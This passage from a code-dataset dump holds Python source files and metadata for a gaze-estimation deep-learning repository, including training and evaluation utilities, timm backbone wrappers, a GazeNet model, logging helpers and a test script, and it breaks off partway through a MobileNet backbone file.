"16318c1026752d4a4dc971f409fc8b8c39851780", "content_id": "9ec58649eac2b3793423ed9e0e630a67bcdef991", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11296, "license_type": "permissive", "max_line_length": 151, "num_lines": 262, "path": "/utils/modules.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.distributed as dist\nfrom torch.nn.parallel import DistributedDataParallel\n\n\n# from models.gaze.gazenet import GazeNet\nfrom models.gaze.itracker import ITracker, ITrackerAttention, ITrackerMultiHeadAttention\nfrom models.gaze.ITracker_xgaze import ITrackerModel, itracker_transformer\nfrom utils.losses import get_loss, get_rsn_loss, AngularLoss, get_ohem_loss\nfrom utils.metrics import AverageMeterTensor, angular_error\nfrom utils.io import save_model\nfrom utils.drawing import draw_bbox\nfrom utils.logger import my_visdom, my_logger\n\n\ndef get_optimizer(optim_type, parameters, lr, weight_decay):\n if optim_type == 'adam':\n return torch.optim.Adam(parameters, lr=lr, betas=(0.9, 0.999), eps=1e-8, weight_decay=weight_decay, amsgrad=False)\n elif optim_type == 'adamw':\n return torch.optim.AdamW(parameters, lr=lr, betas=(0.9, 0.999), eps=1e-8, weight_decay=weight_decay, amsgrad=False)\n elif optim_type == 'sgd':\n return torch.optim.SGD(parameters, lr=lr, weight_decay=weight_decay)\n elif optim_type == 'momentum':\n return torch.optim.SGD(parameters, lr=lr, momentum=0.9, weight_decay=weight_decay)\n elif optim_type == 'nesterov':\n return torch.optim.SGD(parameters, lr=lr, momentum=0.9, weight_decay=weight_decay, nesterov=True)\n else:\n raise NotImplementedError\n\n\ndef get_scheduler(scheduler_type, optimizer, step_size, gamma, last_epoch):\n if scheduler_type == 'steplr':\n return torch.optim.lr_scheduler.StepLR(optimizer, step_size=step_size, gamma=gamma, last_epoch=last_epoch)\n if scheduler_type == 'mslr':\n assert isinstance(step_size, list)\n return torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=step_size, gamma=gamma, last_epoch=last_epoch)\n if scheduler_type == 'cosinelr':\n return torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=step_size, last_epoch=last_epoch)\n if scheduler_type == 'cosineawr':\n assert isinstance(step_size, list)\n T0, Tm = step_size\n return torch.optim.lr_scheduler.CosineAnnealingWarmRestarts(optimizer, T_0=T0, T_mult=Tm, last_epoch=last_epoch)\n if scheduler_type == 'explr':\n return torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=gamma, last_epoch=last_epoch)\n else:\n raise NotImplementedError\n\n\ndef get_model(args):\n if args.model == 'GazeNet':\n return GazeNet(args.backbones, pretrained=args.pretrained, dropout=args.dropout)\n elif args.model == 'ITracker':\n return ITracker(pretrained=args.pretrained)\n elif args.model == 'ITrackerAttention':\n return ITrackerAttention(pretrained=args.pretrained)\n elif args.model == 'ITrackerMultiHeadAttention':\n return ITrackerMultiHeadAttention(pretrained=True)\n elif args.model == 'ITracker_xgaze':\n return ITrackerModel()\n elif args.model == 'itracker_transformer':\n return itracker_transformer()\n else:\n raise NotImplementedError\n\n\ndef train_one_step(model, data):\n output = model(data)\n return output\n\n\nclass Trainer:\n def __init__(self, args):\n self.gpu = args.gpu\n self.fresh_per_iter = args.fresh_per_iter\n self.accumulate_count = args.accumulate_count\n self.save_dir = os.path.join(args.ckpt_dir, args.checkname)\n\n self.model = get_model(args)\n\n self.model.cuda(self.gpu)\n\n self.criterion = get_loss(args.loss).cuda(self.gpu)\n self.optimizer = get_optimizer(args.optim, self.model.parameters(), args.lr, args.weight_decay)\n self.scheduler = get_scheduler(args.scheduler, self.optimizer, args.step_size, args.gamma, -1)\n\n self.total_train_step = 0\n self.total_val_step = 0\n self.train_fresh_step = 0\n self.val_fresh_step = 0\n self.is_best = False\n self.best_epoch = {\n 'epoch': 0,\n 'error': float('inf'),\n 'loss': float('inf')\n }\n\n if args.resume:\n # assert args.last_epoch > -1, 'Please set an available last-epoch, not {}.'.format(args.last_epoch)\n self.optimizer = get_optimizer(args.optim, [{\"params\":self.model.parameters(),\"initial_lr\":args.init_lr}], args.init_lr, args.weight_decay)\n self.scheduler = get_scheduler(args.scheduler, self.optimizer, args.step_size, args.gamma, args.last_epoch)\n ckpt_name = 'model_' + str(args.last_epoch) + '.pth.tar'\n ckpt_fn = os.path.join(args.ckpt_dir, args.checkname, ckpt_name)\n assert os.path.exists(ckpt_fn), 'Checkpoint {} is not exists!'.format(ckpt_fn)\n\n ckpt = torch.load(ckpt_fn, map_location='cpu')\n self.model.load_state_dict(ckpt['state_dict'])\n self.optimizer.load_state_dict(ckpt['optimizer'])\n self.scheduler.load_state_dict(ckpt['scheduler'])\n self.best_epoch['error'] = ckpt['current_predict']\n self.best_epoch['epoch'] = ckpt['epoch']\n\n print('Load checkpoint from', ckpt_fn)\n print(self.optimizer.param_groups[0]['lr'])\n\n if args.load_ckpt:\n ckpt_fn = os.path.join(args.ckpt_dir, args.checkname, args.ckpt_name)\n assert os.path.exists(ckpt_fn), 'Checkpoint {} is not exists!'.format(ckpt_fn)\n\n ckpt = torch.load(ckpt_fn, map_location='cpu')\n self.model.load_state_dict(ckpt['state_dict'])\n self.optimizer.load_state_dict(ckpt['optimizer'])\n self.optimizer.param_groups[0]['lr'] = args.lr\n # self.scheduler.load_state_dict(ckpt['scheduler'])\n self.best_epoch['error'] = ckpt['current_predict']\n self.best_epoch['epoch'] = ckpt['epoch']\n\n print('Load checkpoint from', ckpt_fn)\n print(self.optimizer.param_groups[0]['lr'])\n\n if args.is_distribute:\n DDP = DistributedDataParallel\n self.model = nn.SyncBatchNorm.convert_sync_batchnorm(self.model) #同步BN层 \n self.model = DDP(self.model, device_ids=[self.gpu], find_unused_parameters=True)\n self.sync_all_devices = dist.barrier\n\n self.eval_dist = args.eval_dist\n self.ohem = args.use_ohem\n self.ohem_keep_num = 0\n if args.use_ohem:\n self.ohem_keep_num = int(args.ohem_frac * args.batch_size)\n\n def train_one_epoch(self, epoch, data_loader, logger=None, vis=None):\n if logger is not None:\n logger.train_log_lr(epoch, self.optimizer.param_groups[0]['lr'])\n self.model.train()\n\n loss_avger = AverageMeterTensor().cuda(self.gpu)\n error_avger = AverageMeterTensor().cuda(self.gpu)\n\n for i, (imFace, imEyeL, imEyeR, gaze_direction) in enumerate(data_loader):\n imFace = imFace.cuda(self.gpu)\n imEyeL = imEyeL.cuda(self.gpu)\n imEyeR = imEyeR.cuda(self.gpu)\n gaze_direction = gaze_direction.cuda(self.gpu)\n output = self.model(imFace, imEyeL, imEyeR)\n self.total_train_step += 1\n\n gaze_error = np.mean(angular_error(output.cpu().data.numpy(), gaze_direction.cpu().data.numpy()))\n error_avger.update(gaze_error.item(), imFace.size(0))\n\n loss = self.criterion(output, gaze_direction)\n if self.ohem:\n ohem_loss, ohem_idx = get_ohem_loss(output, gaze_direction, keep_num=self.ohem_keep_num)\n loss += ohem_loss\n loss_avger.update(loss.item(), imFace.size(0))\n\n # use flood\n # loss = torch.abs(loss - 0.005) + 0.005\n\n loss = loss / self.accumulate_count\n loss.backward()\n\n if (i+1) % self.accumulate_count == 0:\n self.optimizer.step()\n self.optimizer.zero_grad()\n\n if logger is not None:\n if self.total_train_step % self.fresh_per_iter == 0:\n self.train_fresh_step += 1\n logger.train_log_n_step(epoch, i, len(data_loader), loss_avger, error_avger)\n vis.train_vis((self.train_fresh_step, loss_avger.val), (self.train_fresh_step, error_avger.val))\n \n if logger is not None:\n logger.train_log_per_epoch(epoch, loss_avger, error_avger, self.optimizer.param_groups[0]['lr'])\n\n def save_ckpt(self, epoch, is_best):\n state_dict = {\n 'epoch': epoch,\n 'current_predict': self.predict,\n 'state_dict': self.model.module.state_dict(),\n 'optimizer': self.optimizer.state_dict(),\n 'scheduler': self.scheduler.state_dict()\n }\n\n save_model(state_dict, is_best, self.save_dir)\n\n def eval(self, epoch, data_loader, logger=None, vis = None):\n if data_loader is None:\n return\n\n self.model.eval()\n\n loss_avger = AverageMeterTensor().cuda(self.gpu)\n error_avger = AverageMeterTensor().cuda(self.gpu)\n\n for i, (imFace, imEyeL, imEyeR, gaze_direction) in enumerate(data_loader):\n imFace = imFace.cuda(self.gpu)\n imEyeL = imEyeL.cuda(self.gpu)\n imEyeR = imEyeR.cuda(self.gpu)\n gaze_direction = gaze_direction.cuda(self.gpu)\n self.total_val_step += 1\n with torch.no_grad():\n output = self.model(imFace, imEyeL, imEyeR)\n\n gaze_error = np.mean(angular_error(output.cpu().data.numpy(), gaze_direction.cpu().data.numpy()))\n error_avger.update(gaze_error.item(), imFace.size(0))\n\n loss = self.criterion(output, gaze_direction)\n loss_avger.update(loss.item(), imFace.size(0))\n\n if logger is not None:\n if self.total_val_step % self.fresh_per_iter == 0:\n self.val_fresh_step += 1\n logger.val_log_n_step(epoch, i, len(data_loader), loss_avger, error_avger)\n vis.validate_vis((self.val_fresh_step, loss_avger.val), (self.val_fresh_step, error_avger.val))\n\n if self.eval_dist:\n # sum all evaluated loss and error from different devices\n loss_and_error = torch.tensor([loss_avger.sum.clone(), error_avger.sum.clone(), loss_avger.count.clone()],\n dtype=torch.float64, device=self.gpu)\n self.sync_all_devices()\n dist.all_reduce(loss_and_error, dist.ReduceOp.SUM)\n loss_sum, error_sum, count_sum = loss_and_error.tolist()\n\n loss_avg = loss_sum / count_sum\n error_avg = error_sum / count_sum\n else:\n loss_avg = loss_avger.avg.item()\n error_avg = error_avger.avg.item()\n\n self.predict = error_avg\n\n self.sync_all_devices()\n if logger is not None:\n logger.val_log_per_epoch(epoch, loss_avger, error_avger)\n\n if error_avg < self.best_epoch['error']:\n self.is_best = True\n self.best_epoch['epoch'] = epoch\n self.best_epoch['error'] = error_avg\n self.best_epoch['loss'] = loss_avg\n else:\n self.is_best = False\n self.save_ckpt(epoch, self.is_best)\n self.sync_all_devices()\n \n def update_scheduler(self):\n self.scheduler.step()\n\n\n\n" }, { "alpha_fraction": 0.5885922312736511, "alphanum_fraction": 0.6395630836486816, "avg_line_length": 23.235294342041016, "blob_id": "ce759f0e9fc344f72c84dfcc834b8fe718e63c8f", "content_id": "52c9d5f96650c13a903cac401abb4a286e1ec5f9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 824, "license_type": "permissive", "max_line_length": 62, "num_lines": 34, "path": "/models/backbone/swin_transformer.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from functools import partial\nimport timm\n\n__all__ = [\n \"swin_small_patch4_window7_224\",\n \"swin_large_patch4_window7_224\",\n]\n\nswin_small_patch4_window7_224 = partial(\n timm.create_model,\n model_name=\"swin_small_patch4_window7_224\",\n num_classes=0\n)\n\nswin_large_patch4_window7_224 = partial(\n timm.create_model,\n model_name=\"swin_large_patch4_window7_224\",\n num_classes=0\n)\n\n\nif __name__ == '__main__':\n model_names = timm.list_models(\"mobi*\")\n print('\\n'.join(model_names))\n model = timm.create_model('mobilenetv3_rw', num_classes=0)\n print(model)\n# print(timm.__version__)\n# models_names = timm.list_models(\"swin*\")\n# print('\\n'.join(models_names))\n#\n# model = timm.create_model('swin_small_patch4_window7_224',\n# num_classes=0, drop_rate=0.5)\n#\n# print(model)\n" }, { "alpha_fraction": 0.739130437374115, "alphanum_fraction": 0.739130437374115, "avg_line_length": 22, "blob_id": "c5a281b3184026013b28836a31ad4a0cc425494c", "content_id": "f926bcb370c5ce7d1d105a3f7fae40d8635558e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 23, "license_type": "permissive", "max_line_length": 22, "num_lines": 1, "path": "/models/gaze/__init__.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from .gazenet import *\n" }, { "alpha_fraction": 0.5043933987617493, "alphanum_fraction": 0.5628179311752319, "avg_line_length": 28.34841537475586, "blob_id": "e3009a8a869a08daa548844d41158db06f88f7c2", "content_id": "18fb21f56f10913c0b324f85fcd8464c305a9736", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6487, "license_type": "permissive", "max_line_length": 110, "num_lines": 221, "path": "/models/gaze/gazenet.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import sys\nsys.path.append('./')\n\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nimport torchvision\nimport timm\n\n\nfrom models.backbone import *\n\n\ndef get_backbone(name, **kwargs):\n models = {\n # resnet\n 'resnet18': resnet18,\n 'resnet34': resnet34,\n 'resnet50': resnet50,\n 'resnet101': resnet101,\n 'resnet152': resnet152,\n 'resnext50_32x4d': resnext50_32x4d,\n 'resnext101_32x8d': resnext101_32x8d,\n 'wide_resnet50_2': wide_resnet50_2,\n 'wide_resnet101_2': wide_resnet101_2,\n # densenet\n 'densenet121': densenet121,\n 'densenet169': densenet169,\n 'densenet201': densenet201,\n 'densenet161': densenet161,\n # gaze360\n 'efficientnet_b8': efficientnet_b8,\n 'swin_small': swin_small,\n 'swin_large': swin_large,\n 'deit_base': deit_base,\n 'deit_small': deit_small,\n 'deit_tiny': deit_tiny,\n 'resnest269e': resnest269e,\n 'mobilenetv2_100': mobilenetv2_100,\n 'mobilenetv2_140': mobilenetv2_140,\n 'mobilenetv3_large_075': mobilenetv3_large_075,\n 'mobilenetv3_large_100': mobilenetv3_large_100,\n 'mobilenetv3_rw': mobilenetv3_rw\n }\n name = name.lower()\n if name not in models:\n raise ValueError('%s\\n\\t%s' % (str(name), '\\n\\t'.join(sorted(models.keys()))))\n net = models[name](**kwargs)\n\n\n\n return net\n\n\ndef get_embedding_dim(backbone):\n embbeding_num = 0\n\n # bb = backbone_i[1]\n if backbone in ['resnet18', 'resnet34', 'iresnet_se50']:\n embbeding_num += 512\n elif backbone in ['densenet121']:\n embbeding_num += 1024\n elif backbone in ['densenet169']:\n embbeding_num += 1664\n elif backbone in ['densenet201']:\n embbeding_num += 1920\n elif backbone in ['densenet161']:\n embbeding_num += 2208\n elif backbone in ['gridnet']:\n embbeding_num += 1250\n elif backbone in ['efficientnet_b8']:\n embbeding_num += 2816\n elif backbone in ['efficientnet_b0']:\n embbeding_num += 1280\n elif backbone in ['efficientnet_el', 'swin_large']:\n embbeding_num += 1536\n elif backbone in ['swin_small', 'deit_base']:\n embbeding_num += 768\n elif backbone in ['deit_small']:\n embbeding_num += 384\n elif backbone in ['deit_tiny']:\n embbeding_num += 192\n\n\n return embbeding_num\n\n\ndef get_fc_layers(backbones, dropout=0.0):\n embbeding_num = 0\n for _, bb in backbones:\n # bb = backbone_i[1]\n if bb in ['resnet18', 'resnet34', 'iresnet_se50']:\n embbeding_num += 512\n elif bb in ['densenet121']:\n embbeding_num += 1024\n elif bb in ['densenet169']:\n embbeding_num += 1664\n elif bb in ['densenet201']:\n embbeding_num += 1920\n elif bb in ['densenet161']:\n embbeding_num += 2208\n elif bb in ['gridnet']:\n embbeding_num += 1250\n elif bb in ['efficientnet_b8']:\n embbeding_num += 2816\n elif bb in ['efficientnet_b0']:\n embbeding_num += 1280\n elif bb in ['efficientnet_el', 'swin_large']:\n embbeding_num += 1536\n elif bb in ['swin_small', 'deit_base']:\n embbeding_num += 768\n elif bb in ['deit_small']:\n embbeding_num += 384\n elif bb in ['deit_tiny']:\n embbeding_num += 192\n elif 'mobilenet' in bb:\n embbeding_num += 1280\n else:\n embbeding_num += 2048\n\n fc = nn.Sequential(\n nn.Linear(embbeding_num, 128),\n nn.ReLU(inplace=True),\n nn.Dropout(dropout),\n nn.Linear(128, 128),\n nn.ReLU(True),\n nn.Dropout(dropout),\n nn.Linear(128, 2),\n )\n return fc\n\n\nclass GazeNet(nn.Module):\n def __init__(self, backbones=None, pretrained=False, dropout=0.0):\n super(GazeNet, self).__init__()\n\n if backbones is None:\n backbones = ['resnet50']\n\n self.bacbones = backbones\n\n self.module_dict = nn.ModuleDict()\n for name, bb in backbones:\n self.module_dict[name] = get_backbone(bb, pretrained=pretrained)\n\n self.gaze_fc = get_fc_layers(backbones, dropout=dropout)\n\n self.input_dict = {}\n\n def encode_input(self, data):\n face_data = data['face']\n # leye_box = list(torch.unbind(data['left_eye_box'], dim=0))\n # reye_box = list(torch.unbind(data['right_eye_box'], dim=0))\n # print(len(leye_box))\n # print(leye_box[0].shape)\n # leye_data = torchvision.ops.roi_align(face_data, leye_box, 68, aligned=True)\n # reye_data = torchvision.ops.roi_align(face_data, reye_box, 68, aligned=True)\n\n encoded_data = {\n 'face': face_data,\n # 'left_eye': leye_data,\n # 'right_eye': reye_data\n }\n\n return encoded_data\n\n def forward(self, x):\n x = self.encode_input(x)\n fc_input = []\n for name, net in self.module_dict.items():\n feat = net(x[name])\n fc_input.append(feat)\n x = torch.cat(fc_input, dim=1)\n x = torch.flatten(x, 1)\n gaze = self.gaze_fc(x)\n\n return gaze\n\n\n\n\nclass GazeNetOrigin(nn.Module):\n def __init__(self, backbone='resnet50', pretrained=False):\n super(GazeNetOrigin, self).__init__()\n\n self.backbone = get_backbone(backbone, pretrained=pretrained)\n\n # TODO; temp implementation, need modify\n if backbone in ['resnet18', 'resnet34', 'iresnet_se50']:\n self.gaze_fc = nn.Linear(512, 2)\n elif backbone == 'densenet121':\n self.gaze_fc = nn.Linear(1024, 2)\n elif backbone == 'densenet169':\n self.gaze_fc = nn.Linear(1664, 2)\n elif backbone == 'densenet201':\n self.gaze_fc = nn.Linear(1920, 2)\n elif backbone == 'densenet161':\n self.gaze_fc = nn.Linear(2208, 2)\n elif backbone in ['vgg11', 'vgg13', 'vgg16', 'vgg19', 'vgg11_bn', 'vgg13_bn', 'vgg16_bn', 'vgg19_bn']:\n self.gaze_fc = nn.Linear(4096, 2)\n else:\n self.gaze_fc = nn.Linear(2048, 2)\n\n def forward(self, x):\n x = self.backbone(x)\n x = torch.flatten(x, 1)\n gaze = self.gaze_fc(x)\n\n return gaze\n\n\nif __name__ == \"__main__\":\n\n model = GazeNet(backbone='gaze360', pretrained=False)\n # print(model)\n\n x = torch.randn(8, 3, 224, 224)\n outs = model(x)\n\n print(outs)\n\n" }, { "alpha_fraction": 0.7489361763000488, "alphanum_fraction": 0.8170212507247925, "avg_line_length": 57.875, "blob_id": "197d3111ac520677113b1f1dee4ee5f597e13699", "content_id": "988a609b564e3ff1796e41e6d847bad3e5f5dffb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 470, "license_type": "permissive", "max_line_length": 117, "num_lines": 8, "path": "/models/backbone/__init__.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from .resnet import *\nfrom .densenet import *\nfrom .effcientnet import efficientnet_b0, efficientnet_b8, efficientnet_el\nfrom .swin_transformer import swin_small_patch4_window7_224 as swin_small\nfrom .swin_transformer import swin_large_patch4_window7_224 as swin_large\nfrom .deit import deit_base, deit_small, deit_tiny\nfrom .resnest import resnest269e\nfrom .mobilenet import mobilenetv2_100, mobilenetv2_140, mobilenetv3_large_075, mobilenetv3_large_100, mobilenetv3_rw" }, { "alpha_fraction": 0.4805726110935211, "alphanum_fraction": 0.4890446960926056, "avg_line_length": 54.17741775512695, "blob_id": "f059d4acdf0bbde32ed85a07f628edf458773c0b", "content_id": "b7fd1149f06590491b35bf64bbaeab86a84f84b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3423, "license_type": "permissive", "max_line_length": 177, "num_lines": 62, "path": "/utils/logger.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from loguru import logger\nfrom visdom import Visdom\nfrom typing import Tuple\nfrom pathlib import Path\n\n\nclass my_logger:\n def __init__(self, args):\n logger.add(Path(args.log_dir).joinpath(args.log_name, 'trian.log'), format='{time:YYYY-MM-DD HH:mm:ss} | {level} - {message}', filter=lambda x: 'train' in x['message'])\n logger.add(Path(args.log_dir).joinpath(args.log_name, 'test.log'), format='{time:YYYY-MM-DD HH:mm:ss} | {level} - {message}', filter=lambda x: 'test' in x['message'])\n logger.add(Path(args.log_dir).joinpath(args.log_name, 'val.log'), format='{time:YYYY-MM-DD HH:mm:ss} | {level} - {message}', filter=lambda x: 'validate' in x['message'])\n \n def train_log_n_step(self, epoch, step, total_step, loss, ang_error):\n logger.info('(train): [{0}][{1}/{2}]\\tLoss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Error {ang_error.val:.4f} ({ang_error.avg:.4f})', epoch, step, total_step,\n loss=loss, ang_error=ang_error)\n \n def train_log_per_epoch(self, epoch, loss, ang_error, lr):\n logger.info('\\n-------------------------------------------------------------------\\n'\n '(train):\\t\\t\\t({0})\\nLoss\\t\\t\\t({loss.avg:.4f})\\n'\n 'Error\\t\\t\\t({ang_error.avg:.4f})\\nlr\\t\\t\\t({lr_show})\\n'\n '-------------------------------------------------------------------',\n epoch, loss=loss, ang_error=ang_error, lr_show=lr)\n\n def train_log_lr(self, epoch, lr):\n logger.info('\\n-------------------------------------------------------------------\\n'\n '(train):\\t\\t\\t({0})\\nlr\\t\\t\\t({lr_show})\\n'\n '-------------------------------------------------------------------',\n epoch, lr_show=lr)\n\n\n def val_log_n_step(self, epoch, step, total_step, loss, ang_error):\n logger.info('(validate): [{0}][{1}/{2}]\\tLoss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Error {ang_error.val:.4f} ({ang_error.avg:.4f})', epoch, step, total_step,\n loss=loss, ang_error=ang_error)\n\n def val_log_per_epoch(self, epoch, loss, ang_error):\n logger.info('\\n-------------------------------------------------------------------\\n'\n '(validate):\\t\\t\\t({0})\\nLoss\\t\\t\\t({loss.avg:.4f})\\n'\n 'Error\\t\\t\\t({ang_error.avg:.4f})\\n'\n '-------------------------------------------------------------------',\n epoch, loss=loss, ang_error=ang_error)\n\n def test_log(self, batch, total_batch):\n logger.info('(test) [{}/{}] success to verify this batch', batch, total_batch)\n \n\nclass my_visdom:\n def __init__(self):\n self.vis = Visdom()\n\n def train_vis(self, loss_point, error_point):\n self.vis.line(X=[loss_point[0]],Y=[loss_point[1]],\n win='loss_train',opts={'title':'entire_train_loss'},update='append')\n self.vis.line(X=[error_point[0]], Y=[error_point[1]],\n win='error_train', opts={'title': 'entire_train_error'}, update='append')\n\n def validate_vis(self, loss_point, error_point):\n self.vis.line(X=[loss_point[0]],Y=[loss_point[1]], win='loss_validate',\n opts={'title': 'entire_validate_loss'}, update='append')\n self.vis.line(X=[error_point[0]], Y=[error_point[1]], win='error_validate',\n opts={'title': 'entire_validate_error'}, update='append')\n\n\n" }, { "alpha_fraction": 0.5566600561141968, "alphanum_fraction": 0.6043737530708313, "avg_line_length": 18.384614944458008, "blob_id": "bdc2dd3a4d6c87e0af6d349cadf714ace922ed30", "content_id": "930c69b090871a6176f14c409ae76871b27c0911", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 503, "license_type": "permissive", "max_line_length": 58, "num_lines": 26, "path": "/models/backbone/resnest.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from functools import partial\nimport timm\n\n\n__all__ = [\n 'resnest269e'\n]\n\nresnest269e = partial(\n timm.create_model,\n model_name='resnest269e',\n num_classes=0,\n # global_pool=''\n)\n\n\nif __name__ == '__main__':\n import torch\n # model = resnest269e(pretrained=True)\n # # print(model)\n # data = torch.rand(2, 3, 224, 224)\n # print(data.shape)\n # output = model(data)\n # print(output.shape)\n if 'densenet121' in timm.list_models(pretrained=True):\n print('exist')" }, { "alpha_fraction": 0.5934272408485413, "alphanum_fraction": 0.5992957949638367, "avg_line_length": 33.90983581542969, "blob_id": "2d834e9ddd6592830f86f22cf6413851b27631e1", "content_id": "c7254d603da23137381e60e56dfae13713a8dcc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4260, "license_type": "permissive", "max_line_length": 138, "num_lines": 122, "path": "/scripts/test.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport argparse\n\nimport torch\nimport torch.nn as nn\n\nfrom utils.io import save_results, load_configs\nfrom data.xgaze_dataset import get_data_loader\n# from models.gaze.gazenet import GazeNet\n# from models.gaze.itracker import ITracker, ITrackerAttention, ITrackerMultiHeadAttention\nfrom models.gaze.ITracker_xgaze import ITrackerModel\nfrom utils.modules import get_model\nfrom utils.logger import my_logger\nimport numpy as np \n\nclass Options():\n def __init__(self):\n # data settings\n parser = argparse.ArgumentParser(description='XGaze test')\n parser.add_argument('--data_dir', type=str, default='/home/data/wjc_data/xgaze_224_prepare_two',\n help='dataset dir (default: /home/data/wjc_data/xgaze_224_prepare_two)')\n # model params \n parser.add_argument('--backbone', type=str, default='resnet50',\n help='network model type (default: resnet50)')\n # data loader\n parser.add_argument('--batch-size', type=int, default=128, metavar='N',\n help='batch size for training (default: 128)')\n parser.add_argument('--workers', type=int, default=4,\n metavar='N', help='dataloader threads')\n # cuda, seed\n parser.add_argument('--no-cuda', action='store_true', \n default=False, help='disables CUDA')\n parser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\n # checking point\n parser.add_argument('--yaml_path', type=str, default='/home/wjc/PycharmProjects/MyGazeProject/options/configs/test_itracker.yaml',\n help='put the path to resuming file if needed')\n self.parser = parser\n\n def parse(self):\n args = self.parser.parse_args()\n return args\n\n\ndef main():\n # init the args\n args = Options().parse()\n opt_dict = load_configs(args.yaml_path)\n for k, v in opt_dict.items():\n if not hasattr(args, k):\n setattr(args, k, v)\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.cuda_visable_device\n\n ckpt_path = os.path.join(args.ckpt_dir, args.checkname, args.ckpt_name)\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n torch.manual_seed(args.seed)\n if args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n # init dataloader\n test_loader = get_data_loader(\n args.data_dir, \n args.batch_size,\n args.image_scale,\n mode='test', \n num_workers=args.workers, \n distributed=False,\n debug=args.debug)\n\n # add logger\n logger = my_logger(args)\n\n #use DP to load model\n model = get_model(args)\n if args.cuda:\n model.cuda()\n # Please use CUDA_VISIBLE_DEVICES to control the number of gpus\n model = nn.DataParallel(model)\n\n # load pretrained checkpoint\n if ckpt_path:\n if os.path.isfile(ckpt_path):\n print(\"=> loading checkpoint '{}'\".format(ckpt_path))\n checkpoint = torch.load(ckpt_path)\n if args.no_cuda:\n model.load_state_dict(checkpoint['state_dict'])\n else:\n model.module.load_state_dict(checkpoint['state_dict'])\n else:\n raise RuntimeError (\"=> no resume checkpoint found at '{}'\".\\\n format(ckpt_path))\n\n #tansform to test mode\n model.eval()\n save_index = 0\n test_num = len(test_loader.dataset)\n gaze_predict_all = np.zeros((test_num, 2))\n total_test_step = 0\n \n for i, (imFace, imEyeL, imEyeR, gaze) in enumerate(test_loader):\n # set the data to GPU\n imFace = imFace.cuda()\n imEyeL = imEyeL.cuda()\n imEyeR = imEyeR.cuda()\n\n # compute output\n with torch.no_grad():\n output = model(imFace, imEyeL, imEyeR)\n\n gaze_predict_all[save_index:save_index+output.shape[0], :] = output.data.cpu().numpy()\n save_index += output.shape[0]\n if total_test_step % args.fresh_per_iter == 0:\n logger.test_log(i, len(test_loader)) \n\n if save_index == test_num:\n print('the number match')\n\n save_results(gaze_predict_all)\n\n\nif __name__ == \"__main__\":\n main()\n\n" }, { "alpha_fraction": 0.6146458387374878, "alphanum_fraction": 0.7022809386253357, "avg_line_length": 19.850000381469727, "blob_id": "6ad9d4fd21acef9777a0c268a50ad0e5648eb035", "content_id": "c0febd732ba54b3e94934f472a725a1a8872c0d8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 833, "license_type": "permissive", "max_line_length": 71, "num_lines": 40, "path": "/models/backbone/deit.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from functools import partial\nimport timm\n\n\n# out 768\ndeit_base = partial(\n timm.create_model,\n model_name=\"vit_deit_base_patch16_224\",\n num_classes=0\n)\n\n\n# out 384\ndeit_small = partial(\n timm.create_model,\n model_name=\"vit_deit_small_patch16_224\",\n num_classes=0\n)\n\n# out 192\ndeit_tiny = partial(\n timm.create_model,\n model_name=\"vit_deit_tiny_patch16_224\",\n num_classes=0\n)\n\n# model_names = timm.list_models(\"*deit*\")\n# print('\\n'.join(model_names))\n\n# vit_deit_base_distilled_patch16_224\n# vit_deit_base_distilled_patch16_384\n# vit_deit_base_patch16_224\n# vit_deit_base_patch16_384\n# vit_deit_small_distilled_patch16_224\n# vit_deit_small_patch16_224\n# vit_deit_tiny_distilled_patch16_224\n# vit_deit_tiny_patch16_224\n\n# model = timm.create_model('vit_deit_tiny_patch16_224', num_classes=0)\n# print(model)" }, { "alpha_fraction": 0.5858310461044312, "alphanum_fraction": 0.6621253490447998, "avg_line_length": 14.97826099395752, "blob_id": "e3261f2f3a6e6fd0c2026d79f4d0b8da152414db", "content_id": "55e78d05693c8c5336fb89f2bb25ef55a13ab0ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 734, "license_type": "permissive", "max_line_length": 39, "num_lines": 46, "path": "/models/backbone/mobilenet.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from functools import partial\nimport timm\n\n\n__all__ = [\n 'mobilenetv2_100',\n 'mobilenetv2_140',\n 'mobilenetv3_large_075',\n 'mobilenetv3_large_100',\n 